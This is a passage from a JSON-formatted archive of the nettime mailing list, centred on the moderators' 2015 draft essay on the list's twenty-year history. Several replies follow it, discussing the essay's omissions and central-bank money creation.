                "content": "\nYou cannot politically defy the institutions when all you really wanted was to be\nclasped to their bosoms and hope in time to be cherished under the very framework of\noppressive values you are thinking of overcoming. That would be co-optation,\nrevolution only in the sense of a circulation of elites rather than the extirpation of\nthe very impulses of elitism. Society is like a stew; if you don't stir things up\nevery once in a while then a layer of scum floats to the top.\n\nTo subscribe to 12-list, simply send a message with the word \"subscribe\" in the\nSubject: field to 12-list-request {AT} eskimo.com\n\nTo unsubscribe from 12-list, simply send a message with the word \"unsubscribe\" in\nthe Subject: field to 12-list-request {AT} eskimo.com\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "date": "Wed, 1 Apr 2015 19:39:09 -0700 (PDT)",
                "to": "nettime-l {AT} kein.org",
                "message-id": "c45de0d145961e04a1d3e7f498dc9b6a {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00033.html",
                "list": "nettime_l",
                "author_name": "{ brad brace }",
                "subject": "Re: <nettime> nottime: the end of nettime: 12-lis"
            },
            {
                "id": "00001",
                "content": "\n\n\nEric Kluitenberg and David Garcia asked us to draft an entry/essay\non <nettime> for their upcoming anthology on tactical media, so we\ndid. But it quickly became clear that if we seriously believed our\nour argument, we'd need to invite comments from the entire list. So,\nwithout further adieu, here it is:\n\nhttps://docs.google.com/document/d/1f9Gndq40aFOJMl18lOT79y71X6wtWzbYyK4iClTJRLA/edit?usp=sharing\n\n\nIf you have a Google login and use it, you can comment with\nattribution; if you don't or you'd prefer not to, you can comment\nanonymously. Either way, we'll do our best to address or incorporate\nsuggestions.\n\nIn many ways, we think this is the next intuitive step after the\n'nottime' April Fool's mail. This essay is very positive, but we've\nalso tried to be fair in assessing the list's weaknesses and failures.\nWe hope you'll do be fair as well.\n\nOf course we're aware of the glaring irony that it's a Google Doc.\nLike it or not, they're an excellent way to collaborate on a text.\nAnd, as Benjamin Mako Hill pointed out, Google has most of our email\nbecause it has all of yours.\n\n\nthe mod squad\n(Felix and Ted)\n\n\n\nThe list as open collectivity: <nettime> at 20 years and counting\n\nTed Byfield & Felix Stalder\n\nThis is an insider account. Both of us have been deeply involved in\nthe <nettime> project from very early on, and most of that time on\na daily basis as the list's moderators. So our story is inevitably\nbiased in ways that we are probably not even aware of; but we hope\nto make up for this with a nuanced account of the transformations of\nthe project which have kept it, for more than 20 years, an important\nnode in the free-ranging, oppositional examination the cultural and\ntechnopolitical transformations of the present. As the footer appended\nto every message states:\n\n# <nettime> is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n\nIndeed, the peculiar relationship between transformation and\ncontinuity is probably the key to understanding <nettime> and why\nit has remained relevant for so long and why we call it an \"open\ncollectivity.\" By this, we mean a group of people held together by a\nshared horizon grounded in common experiences, vectors of interest,\nand modes of agency; but rather than relying a fixed internal\nstructure or charismatic personalities, its interal composition\nremains fluid and shifting, in response to desires, pressures, and\nopportunities.\n\nIn \"technological\" terms, it has barely changed at all. Since its\nfounding in late October of 1995, its material basis has been a\nmailing list \u00e2 a simple piece of software, running on a server,\nwhich manages a subscriber list and distributes email to them.\nMoreover, <nettime> has always restricted message to the text-only\nformat. Initially, this convention was driven by communitarian aims\nof maximizing access (for users who connected over a low-bandwidth\nmodem) and minimizing software conflicts. Over time, though, this\nbecame central to the list's culture and, as more communication turns\nimage-heavy, one of its distinguishing features. So there are no\n\"styled\" formats, no attachments, and no images, sound, or video.\nAt first, <nettime> used the majordomo software package, then later\nMailman; both are standard (mostly) free software programs. There are\nsome minor tweaks to mailman so the list can still be moderated using\na command-line interface \u00e2 arcane but efficient \u00e2 but that's it.\nNothing special.\n\nRunning a mailing list also involves technical decisions and social\napproaches that shape not just the daily ebb and flow of traffic\nbut also the cumulative archive. We recognized this early on, and\nformulated a few minimal \"policies\" \u00e2 for example, discouraging\n\"bare\" URLs and encouraging people to send complete texts, which over\ntime ensured that, unlike most mailing-list archives, <nettime>'s\nwould become an open library of substantial ideas rather than a chatty\njumble of links to bitrot, parked domains, and malware traps. Other\nchoices have contributed to this unusual resource \u00e2 notably, the use\nof a pseudonymous \"digestive system\" to anonymize many contributions\nand incorporate interesting texts on current (and sometimes past)\nevents and phenomena.\n\nThe list has always been hosted on noncommercial servers run by people\nwithin the open collectivity that formed around the list. First,\nat the International City Berlin, then from February 1996 to July\n1999 at desk.nl, then after a brief temporary asylum on material.net\n(NYC), the list moved to bbs.thing.net (NYC), and since July, 2007\nit has been hosted on kein.org (Munich). Its archive, which as of\nlate 2015 contains more than 22,000 messages, the full traffic since\nthe list's inception, was hosted first by the Society for Old and\nNew Media (waag.org [Amsterdam]); since 2014 on servers run by the\nmedia arts collective !Mediengruppe Bitnik (Z\u00c3rich). For most of the\nusers, whose numbers rose slowly but continuously to about 4500 in\nlate 2015, these changes in the technical infrastructure where barely\nperceptible.\n\nRelying on fluid relations of friendship made it possible to run the\nproject without involving any financial exchanges, not even donations\nor grants. Someone pays for the domain name, but that's it. Everything\nis donated in kind, according to ability and according to need. There\nwas never a compelling reason to develop any formal organizational\nstructure, and \u00e2 in light of periodic ruptures in funding patterns\nthat led to so many failed cultural organizations \u00e2 many compelling\nreasons not to. As an organization, then, <nettime> is made up of\ndeep, overlapping ties of mutual interest, friendship, respect, and\ncommitment. For those without such ties <nettime> might sometimes seem\nexclusive or even \"closed,\" culturally speaking.\n\nThis approach is not without its peculiar twists, to which we will\nreturn, but extreme informality enabled the open collectivity to morph\ninto numerous shapes, to adapt to changing needs and interests of this\nconstituency, and to keep everything on a voluntary, self-motivated\nbasis. Moreover, rather than focus on specific issues or projects,\n<nettime> provided a deliberately open context for disseminating,\ndebating, and documenting the wider range of ideas \u00e2 digital human\nrights, media law and policy, intellectual property, security and\ncryptography, media activism, aesthetics and art practice, and the\nchanging construction of \"the artist,\" to name just a few \u00e2 from\nwhich local activist practices sprang. As such, for at least some\nfirst-generation subscribers it became a \"university of the nets,\" a\nhigh-signal, low-noise internationalist source for radical theories\nand practices.\n\nThus, while the list's technology has remained simple and stable, the\ncollectivity and the value it provides to his members, has undergone\nsubtle but deep changes. This can be summarized by dividing the last\n20 years of history into four phases. This periodization is admittedly\nsomewhat arbitrary, but for present purposes it should serve to\nhighlight the intertwingled threads of continuity and change.\n\nThe Delirium of Networking: the \"heroic period,\" 1995\u00e21998\n\n<nettime> was founded at a time when the Internet was far from\n\"ubiquitous.\" Even where it was available it was often hard to reach,\nthrough cranky modems and creaky connections. Once connected, it\ndidn't take much effort to stumble into raging debates about the what\nthis \"Internet,\" which appeared to many as a tremendous but vague\npromise, was supposed to be. The loudest chorus was American, many of\nwhom advanced the notion of cyberspace as yet another new frontier and\nnew territory for cowboy romance. <nettime> immediately positioned\nitself against such spatial metaphors.\n\n  The time of nettime is a social time, it is subjective and\n  intensive, with condensation and extractions, segmented by\n  social events like conferences and little meetings, and text\n  gatherings for export into the paper world. Most people still\n  like to read a text printed on wooden paper, more than\n  transmitted via waves of light. Nettime is not the same time\n  like geotime, or the time clocks go. Everyone who programs or\n  often sits in front of a screen knows about the phenomena of\n  being out of time, time on the net consists of different speeds,\n  computers, humans, software, bandwidth, the only way to see a\n  continuity of time on the net is to see it as a asynchronous\n  network of synchronized time zones.\n\n<nettime> emerged from meetings of European artists and activist\ninterested exploring the new possibilities of the net for artistic\nand political experimentation with a maximum of independence from\nestablished institutions. Initially the list served as way to keep\nthese discussions going between meetings and to include people\nunable to travel at the frantic pace of events. The first years\nwere delirious as international communication as a daily activity\nwas new to almost everyone. The self-styled task of creating a new\n\"European\" net.culture was never about geography \u00e2 it was about\naffinities. Those involved included deep connections into the former\nEast Bloc, which had opened up only a few years earlier, as well\nas important contingents from North America and Australia \u00e2 all\nwithin a medium with no fixed rules or expectation, which contributed\nwhat Geert Lovink once called \"the short summer of the Internet.\"\nBut not everyone felt content with the new lingua franca, English,\nand the vague borderlessness of the Net. Soon, additional <nettime>\nlists appeared, as fora for discussions in Dutch, Romanian, French,\nSerbo-Croatian, Spanish/Portuguese and other languages. Not all of\nthem thrived, but some did, for almost as long as the English language\nlist.\n\nThe iconic statement from this early period is still Richard Barbrook\nand Andy Cameron's \"Californian Ideology,\" published in Mute magazine.\nThis essay provided a powerful critique of the \"bizarre fusion\"\nof seemingly contradictory elements: neoliberal worship of the\nentrepreneur and the market, irreverence of anti-authoritarian\ncounterculture, and McLuhanite technological determinism. This\n\"heterodox ideology,\" they argued, systematically omitted the crucial\nroles of public funding and of grassroots activists in the history of\nthe Internet, erasing non-market histories and futures.\n\nGiven how dominant the internet has become in such a short time,\nit would be easy to overlook how the adoption of a mailing list to\nconnect these diverse people and contexts was itself a form of media\nactivism. There is an open question whether, over time, the mailing\nlist has become so normalized as to lose that potential, something\nthat happened arguably to other \"tactical media\"\u00e2 for example,\nguerilla video. We think not \u00e2 and that it's worth reflecting\non unexamined potentials mailing lists may have (say, compared to\ncommercial and image-driven \"social media\").\n\n From the beginning, <nettime> served as an environment for\nexperimentation with the new medium and, beyond that, as a\ncollaborative platform to prepare publications outside of it. The\nphysical fact of these publications latter was seen by some as prima\nfacie evidence that an effort remained \"real\" \u00e2 and its absence\nevidence that an effort had somehow lost its way. However that may be,\nthe combination of continuous exchanges and sporadic meetings (often\n\"parasitically\" attached to larger cultural events) and publication\nproved to be productive, flexible, and durable.\n\nThis mode of operation enabled a wide variety of people to forge\na core of shared experiences, both personal and collective. As a\nresult, the list's subscriber base quickly approached 1,000, many\nof them significant artists and thinkers in the early net.cultures.\nThe preferred offline publication format was that of a newspaper:\nquick, dirty, and easy to distribute while travelling. Between January\nand November 1996 five newspapers were published in connection with\nfestivals across Europe, and in 1997 another one. In the same year,\nthe collectivity provided the backbone of the \"hybrid workspace\" at\nthe Documenta X exhibition. By 1999 <nettime> was already publishing\nits own anthology ReadMe! ASCII Culture and the Revenge of Knowledge;\nand in 2001, an edited version of nettime was part of the catalogue of\nthe Slovenian pavilion at the Venice Biennale.\n\nBut summers don't last long, particularly short ones. Two main\nfault lines quickly opened up within the collectivity. First,\nsome sought to use the list to advance narrow personal/political\nagendas. Second, open conflict between \"net.artists\" who sought to\nexplore the boundaries of the list-format (for example, by what\nwould later came to be known as \"trolling\" as an art practice)\nand \"net.theorists\" who insisted the list should be a channel for\nambitious net.criticism. In 1997 a number of net.artists left the\nlist in protest and founded another, called 7-11. Paul Garrin, a New\nYork\u00e2based video artist-activist known for his confrontational\nstyle, promoted a series of projects, including an alternative DNS\nauthority, and hijacked <nettime>'s subscriber base for his own\nshort-lived \"<nettime.free>\" list. And, throughout these years, a\nshadowy procession of seemingly 24/7 always-on entities variously\nknown as antiorp, =cw4t7abs, integer, and netochka nezvanova (or\n\"nn\") assailed <nettime> and other forums with astonishing messages\nthat combined furious bile, ASCII art-inspired deconstructions, and\nscathing and often-brilliant critiques of authoritarianism \u00e2 as well\nas promotions of his/her/their software.\n\nThese tensions were addressed by switching to moderation mode, a\nfunction that is baked into the mailing-list software. But since\nthere were no clear rules for how to moderate, and rejected messages\nremained invisible, this led to acrimonious debates about \"censorship\"\nand a brief experiment with an \"unfiltered\" version of the list,\n<nettime-bold>. Varied proposals for how the selection process (and\nof course who is doing the selecting) could be made more flexible and\nspontaneous were advance \u00e2 for example, by changing platforms from\na mailing list to something else in order to allow subscribers to do\ntheir own idiosyncratic \"text filtering\" \u00e2 but nothing ever came of\nthem.\n\nA third tension arose early on, which the <nettime> collectivity has\nnever found adequate ways to overcome: gender bias. Nettime has always\nbeen very male \u00e2 not necessarily in terms of its subscriber base but\ncertainly in terms of its communication culture. There was quite a bit\nof overlap between <nettime> and early cyberfeminism (including the\n\"faces\" email list), but the collectivity never found adequate ways to\nprovide an environment for explicit, sustained feminist discourses.\nAnd, to the extent that feminist and gender-oriented ideas have played\na pivotal role in broader liberationist movements around the world,\nthis tacit weakness has marginalized <nettime> as a resource for\nyounger activists. <nettime> is far from unique in this regard: the\ndifficulty of addressing often implicit and unacknowledged biases is a\nkey weakness of the informal mode of voluntary organisation, offline\nand online (from free software communities to Wikipedia). Within\n<nettime> this problem has been widely recognized and periodically\nacknowledged (for example, with citations of Jo Freedman's classic\n1971 text \"The Tyranny of Structurelessness\"), but this has never\ntranslated into substantial practical change.\n\nIn retrospect, it's not surprising that debates in <nettime>'s\nmilieu would anticipate many of the basic operations that underpin\nthe follow/like economies of social media. However, and particularly\nin the context of narcissistic hyperdifferentiation that defines\n\"social media,\" it was fortunate that <nettime>'s moderation wasn't\nsplintered. Rather than relying on a system of technically implemented\n(and therefore enforced) differentiation, an open collectivity\ncommunicates in a unified environment where everyone is equidistant.\nIn <nettime<'s case, it proved to be much more fluid and able to\nnegotiate imprecise shifts in taste and attention. It was this\nimplicit vagueness that gave <nettime> a supple adaptability that many\nother collective ventures lost in the ensuing strife.\n\nCrisis Intervention: the bombing of Serbia (1999)\n\nAll of these debates faded quickly into the background once NATO\nstarted to bomb Serbia on March 24, 1999. As is often the case, mass\nmedia on all side shifted into propaganda mode. (See also Veran\nMatic's text in this volume.) <nettime> suddenly turned into a\nchannel in which people on the receiving end of the bombing campaign,\nthe members of the collectivity who lived in Belgrade, reported\nthe terrifying facts in near-real time. This provided an important\ncounterbalance to the media narratives, which were dominated by the\nvideo-feeds from \"smart\" bombs and their implied ideology of a \"clean\"\nwar. The reach of these dispatches from the ground was considerably\nfarther than just the list itself, since several members of the\ncollectivity in the West worked in the media and used this material\nin their stories. At certain critical times, the feedback loops\nestablished through <nettime> were much quicker and more accurate than\nthose provided by major news providers such as CNN. Retrospectively,\nthis was a pioneering moment for both \"citizen journalism\" and\n\"real-time crisis monitoring,\" two functions are now separated into\nblogging and derivative \"micro\" platforms such as Twitter. At the\ntime, though, they hadn't yet been articulated as such and were still\nunified within email.\n\nAt the end of an extremely intensive period, in which the collectivity\nhad to learn to cope with the relentless and intimate reporting of the\ndirty realities of war among friends who suddenly found themselves on\ndifferent sides, the collectivity was exhausted. Though shortly after,\nenergizing events took place in the streets of Seattle and set off\nanother short summer, that of the anti-globalisation movement which\nhad forced its way onto the global stage, drawing heavily on the new\nmodes of horizontal communication provided the Internet.\n\nThe Long Bust: the dot.com crash, 9/11, and the lure of social media.\n(2000\u00e22008)\n\nThe bursting of the bubble of Internet stocks in in March 2000,\nsignaled the end of the first irrational exuberance of the Internet.\nThings got considerably worse in the following year. The brutal\npolice crackdown of the massive protests against the G8-Meeting in\nGenoa Italy in July 2001 was a turning point in the state's response\nto the antiglobalization movement. A few months later, the events of\n9/11 not only caught the important New York-based contingent of the\ncollectivity up close, but it soon became apparent that this would not\nonly lead to new wars abroad, but also to new repression at home and\nsurveillance of online communication.\n\nWhile the champions of the Californian ideology rebounded from\nthe shock of the stock market with a new label, Web 2.0 and, soon\nafterward \"social media,\" the mood within the collectivity remained\ndark. The new developments were quickly analyzed as a profound\nreengineering of the Internet infrastructure away from the early\ndecentralized designs towards new centralized platforms firmly in the\nhand of (venture) capital. The fact that in early days of social-media\ninvestors were happy to sustain losses in exchange of market share,\nbarely obscured the new power-relations that were being implemented.\n\nThe arrest of Critical Art Ensemble's Steve Kurtz, an important voice\nin technoculture in the US and Europe, in May of 2004 was significant\nin its own right and also symptomatic of the increasingly humorless\nand violent view the state and corporations were taking to the domain\nof media activism. After Kurtz's wife died unexpectedly of a heart\nattack, emergency workers interpreted the scientific materials in\nKurtz's home in the worst possible light and called in federal law\nenforcement agencies. He was subjected to a years-long prosecution\nfor criminal mail and wire fraud under the USA PATRIOT Act. It\nshowed to many that criticial cultural practice, as Konrad Becker\nput it at the time, \"does in fact touch the nerve of occult power\nin the techno state\" \u00e2 even (maybe especially) when it operates\non a purely semiotic level. The overblown repression of a critic\nof the techno-political power system now appears as a precursor of\nthe stepped-up repression of hackers and journalists surrounding\nWikiLeaks, Anonymous, and other renegades.\n\nDuring those years, <nettime> was declared dead several times.\nIn some ways, then, it's surprising that the list, rather than\nfading away, shifted gears toward deeper historical analyses of the\nnetworked condition \u00e2 notably, Brian Holmes's essays on history and\ntransformations of cybernetics.\n\nBy now, one consequence of moderation and its strictly voluntary mode\nwas becoming clearer. The new social media intensified the speed\nand sheer volume of communication, making message lengths shorter\nand visual content ever more pivotal; above all, reaction became\nthe dominant currency. <nettime> by contrast, moved in the opposite\ndirection \u00e2 mainly by not changing at all. Moderation necessarily\ninvolves a delay, which, given the contingent nature of collective\nefforts, could be as little as a few minutes or as much as a few days,\ndepending on circumstances. Far from being an obstacle, though, this\noften introduced a slight (and manipulable) lag to exchanges on the\nlist, which allowed time for reflection in reading and writing rather\nthan reaction. Discussion threads extended over days, sometimes weeks,\nand often would be taken up again at a later point. The fact that each\nmember had a local copy of the list's conversation in his or her email\nfolder (in addition to the online archive) provided the collectivity\nwith a sense of its own history and allowed for an uneven accumulation\nof collective references and knowledge.\n\nLiving the crisis: the return of the (un)real (2008\u00e2)\n\nTwo events cast into sharp relief some of the basic concerns\nthat have been important to <nettime>'s collectivity from the\nbeginning \u00e2 and showed the brutally bare extremes that power\nstructures would impose in order to preserve their privilege,\neven at the cost of never-ending and expanding crisis. First, the\ncatastrophic effects of financialization as a core element of\nneoliberalism and the willingsness of the state intervene on behalf\nof \"too-big-to-fail\" banks became shockingly apparent in the wake\nof the 2008 economic meltdown. And second, the blanket surveillance\nof military-communication complex relies on to detect and contain\nsocial unrest which was made public by the leaks of Edward Snowden\nstarting in 2013. Such issues that had been staples of <nettime>'s\ndiscussions \u00e2 the role and shape of infrastructures, the materiality\nof politics, the continuities and transformations of capitalism, the\npossibilities of resistance and imagination of radical alternatives\n\u00e2 and suddenly, they found mainstream resonance.\n\nParticularly in the wake of 2008, as cultural funding dried up in\nmany countries, <nettime>'s no-money collectivity model has proven to\nbe resilient and sustainable. In some ways, the double crisis that\nmarks the second decade of our century, is bringing <nettime> back to\nits roots. And intense interest in socio-technical infrastructures\nand understanding social critique that is fits the current social\ntransformation needs not only theoretical tools, but also new forms of\norganisation. It is, perhaps, this twin concern, more than anything\nelse, that has motivated the collectivity for such a long time.\n\nWhether it remains capable of generating substantive contributions to\nthis distributed efforts that takes place in many contexts and modes\naround the world remains an open question. Some serious and absolutely\nlegitimate criticisms \u00e2 many of which hadn't been voiced on the list\nin years, in some cases because their advocates had long ago given\nup \u00e2 were summarized in an April Fool's prank in 2015, in which we\nannounced that we were closing the list:\n\n<nettime> has been 'graying.' It's wedded to a particular\nEuro-American moment, the so-called summer of the Internet, which has\nsince turned to winter. Nettime's once-radical embrace of the ex-East\n\u00e2 or, if you like, of the ex-West \u00e2 barely extends to Hungary\nnow, and has nothing to say to the decisive conflicts around Russia's\nborders\u00e2. Its early tacit prohibition on ritualized debates about\nIsrael and Palestine has grown into a complete failure to address the\nprofoundly important dynamics across parts of the world conventionally\n\u00e2 and reductively \u00e2 called 'Muslim' or 'Arab.' These areas are too\noften consigned to the 'timelessness' of conflict, but there's every\nreason to believe that their liberatory struggles could ultimately\ndefine the future of the 'WEIRD' nations. China? Barely a peep about\nit. Africa? Nettime is nowheresville. The seas, the skies, the\ncirculatory flows? Nada. And how about nongeographical 'areas' where\nthe most moving cultural changes are happening \u00e2 in the flowerings\nof new forms of subjectivity around the world and the new forms of\nsovereignty they're giving rise to. Silence. But, really, who cares\nwhat a bunch of straight white cis guys \u00e2 which is 95% of the list's\ntraffic \u00e2 think about those things?\n\nWe formulated these criticisms in the context of a failed effort to\nstage a new and different <nettime> meeting: farther east than before,\nand with a renewed emphasis on learning about where and how (and maybe\nwhen) activist efforts had migrated \u00e2 efforts that were media-savvy\nyet ignored in mainstream media. The list's flexibility, and the\n'equidistance' we noted earlier, limit participants' ability (and\nprobably their motivation) to act collectively.\n\nAnd, of course, <nettime> also shares other serious weaknesses with\nmedia-activist efforts, sometimes very literally. The list's reliance\non noncommercial and volunteer resources have also made it vulnerable\nin basic respects. At times, its minimal infrastructure depended on\nservers shared with more radical members \u00e2 for example, eToy, the\nYes Men, and Ricardo Dominguez's \"Floodnet.\" When their more radical\nactivities led upstream ISPs to shut these servers down, <nettime>\n(along with many other projects and people) came under direct threat.\nMore recently, its lack of organizational resources has prevented it\nfrom incorporating resources like Twitter and Facebook, which are\nwidely seen as essential organizational tools.\n\nThese weaknesses run the risk of letting <nettime> drift even deeper\ninto its own peculiarity \u00e2 as Morlock Elloi, a stauch pseudonymous\nin the collectivity, put it in late 2015 \u00e2 to become just another\ngroup of \"self-similar[s] in faraway land,\" where like-minded people\nsubstitute their irrelevance for the joy of being together. The list's\nwaning emphasis on face-to-face meetings and media-activist actions\nmight be a symptom that the list was becoming increasingly \"bourgie\"\n\u00e2 which it no doubt was, to a certain extent. It also reflected\nthe aging demographic of <nettime>'s core members \u00e2 for example,\ntheir growing concern with stable professional jobs (particularly\nin arts-oriented segments of academic), raising children, and so\non. Whatever the cause, there's no doubt that less emphasis on\nface-to-face meetings has also diminished the spontaneity and force\nthe collectivity would be capable of.\n\nThe question of how to articulate and navigate shifting, contingent\nrelationships between continuity and transformation, which has always\nbeen central to <nettime>'s success, remains at the fore. Four\ntime, the collectivity has managed to re-attune itself to changing\ncircumstances. Whether it can continue to respond in flexible and\nrelevant ways to newer conditions \u00e2 and, crucially, to attract\nyounger contributors \u00e2 is very much an open question.\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org",
                "to": "nettime-l {AT} mx.kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00001.html",
                "list": "nettime_l",
                "author_name": "nettime's mod squad",
                "subject": "<nettime> choose-your-own adventure: a brief history of nettim",
                "from": "nettime's mod squad <nettime {AT} kein.org>",
                "follow-up": [
                    {
                        "from": "Jaromil <jaromil {AT} dyne.org>",
                        "content": "so good!!! thanks!  this text comes timely and is a motivating read.\n\nrecently you noticed i started being around nettime more often... this\nlittle historical text here is a great milestone and feels also very\ninclusive. I approve and always recommend recommend making less\nindividual names, but perhaps more organization names, to support what\neveryone of us is doing in different but well attuned directions for\nwhich nettime seems to be a methronome. So I'm happy if Dyne.org can fit\nsomewhere there, but I have no idea where really.\n\nI was recently rather upset at hearing and reading Geert going around to\ncall himself the \"founder of nettime\". Then rather than that, perhaps\nhis INC initiative also deserves a quote in the text.\n\nciao\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00005",
                        "date": "Sun, 1 Nov 2015 17:35:29 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "66dcf77b52f35af19687b1752fe1e80e {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00005.html",
                        "content-type": "text/plai",
                        "author_name": "Jaromil",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                        "content": "\n\n",
                        "id": "00010",
                        "date": "Tue, 3 Nov 2015 21:53:27 -0600",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "429734490c5144fbcd352584c90434bb {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00010.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "prem.cnt {AT} gmail.c",
                        "content": "\n> On 4 Nov 2015, at 9:23 a.m., Brian Holmes <bhcontinentaldrift {AT} gmail.com> wrote:\n> The crucial intervention so far has been the unprecedented injection of some 12 trillion USD into the global monetary system by central banks, which know very well what each other are doing. The next crucial intervention will be to actually *do* something coherent with that money.\n\n\nGlobal  volumes of currency trading alone are in the order of 5.3 trillion USD per day.  What capacity do the central banks of the world have to substantively influence the overall system?\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00011",
                        "date": "Wed, 4 Nov 2015 11:41:57 +0530",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "17a4b6c0b46e27ad7296084b8b9ebea2 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00011.html",
                        "content-type": "text/plai",
                        "author_name": "prem . cnt",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "David Garcia <d.garcia {AT} new-tactical-research.co.uk>",
                        "content": "   Great to once again be able to tune in to Brian's imaginative sweep.\n   Just to add to Brian's example below important but informal\n   collaborations connected to nettime I would definitely add all (except\n   edition 1) editions of Next 5 Minutes festivals of Tactical Media.\n   Nettime acted like an important additional room in which the issues\n   that informed the content of the festival sometimes sourced, debated\n   and developed. In the last edition the content development was\n   disegregated and developed through Tactical Media labs (TML) in various\n   countries. I'll just recall one because it left an interesting legacy\n   which still feels potent. Its the NYU TML took place in the heart of\n   the city shortly after 9/11 and so of course the and its organisors\n   were still reeeling and the planned event had to (in every sense)\n   pivot. The result was a so called Virtual Casebook in which many\n   regular nettime contributors (and many more who were not) generated a\n   series of responces to the attack which, whatever its limitations,\n   still represents a collective snapshot of that moment refracted through\n   the subjectivities of this community (yes I dare to use the C word). In\n   my opinion remains a valuable way to re-connect to that moment. Its\n   sill worth re-visiting as a snapshot in time:\n\n   https://www.nyu.edu/fas/projects/vcb/case_911_FLASHcontent.html\n\n     \"From the beginning, <nettime> served as an environment for\n     experimentation with the new medium and, beyond that, as a\n     collaborative platform to prepare publications outside of it.\"\n     In terms of publication, Ted and Felix are firstly talking about the\n     \"Zentralkomittee\" readers that were published in the early days of\n     nettime. But there is a more informal and sometimes unacknowledged\n     type of collaborative writing that emerges from this kind of list,\n     which is also worth some attention. For example, \"my\" texts on\n     cybernetics in the mid-2000s were to a certain degree products of\n     list-wide debates, as I usually indicated somewhere in the footnotes\n     to the published versions. I also had the great experience of\n     launching a collaborative project on the subject of Technopolitics\n     through mailing-list exchanges with Armin Medosch and others (that\n     project didn't actually start here, but nettime has been the most\n     important venue for written debate about those issues). I would be\n     curious to know if some others have had interesting experiences with\n     this type of informal collaboration?\n\n   David Garcia\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00013",
                        "date": "Wed, 4 Nov 2015 10:07:23 +0000",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "9ca4333d2483bf0a76408164460aeff0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00013.html",
                        "content-type": "text/plai",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                        "content": "   By providing freshly printed and essentially free money to private\n   banks (sometimes even foreign banks, in the US case) governments were\n   able to stop cascading failures and halt any drift toward a great\n   depression. In China a huge infrastructure program was undertaken.\u00c2  In\n   Japan money has been funneled directly to consumers. In Europe, the EU\n   bailout of nationalized banking sectors has concentrated tremendous new\n   power in Brussels. The global currency markets are not coordinated.\n   States, to the contrary, pursue geo-economic grand strategies, that's\n   the big difference.\n\n   On Nov 4, 2015 2:45 AM, <prem.cnt {AT} gmail.com> wrote:\n\n     > On 4 Nov 2015, at 9:23 a.m., Brian Holmes <bhcontinentaldrift {AT} gmail.com> wrote:\n\n     > The crucial intervention so far has been the unprecedented\n     injection of some 12 trillion USD into the global monetary system by\n     central banks, which know very well what each other are doing. The\n     next crucial intervention will be to actually *do* something\n     coherent with that money.\n     Global\u00c2  volumes of currency trading alone are in the order of 5.3\n     trillion USD per day.\u00c2  What capacity do the central banks of the\n     world have to substantively influence the overall system?\n <...>\n\n",
                        "id": "00014",
                        "date": "Wed, 4 Nov 2015 09:36:53 -0600",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "d6d48d608421d22fd383436053c1716a {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00014.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "Eric Kluitenberg <epk {AT} xs4all.nl>",
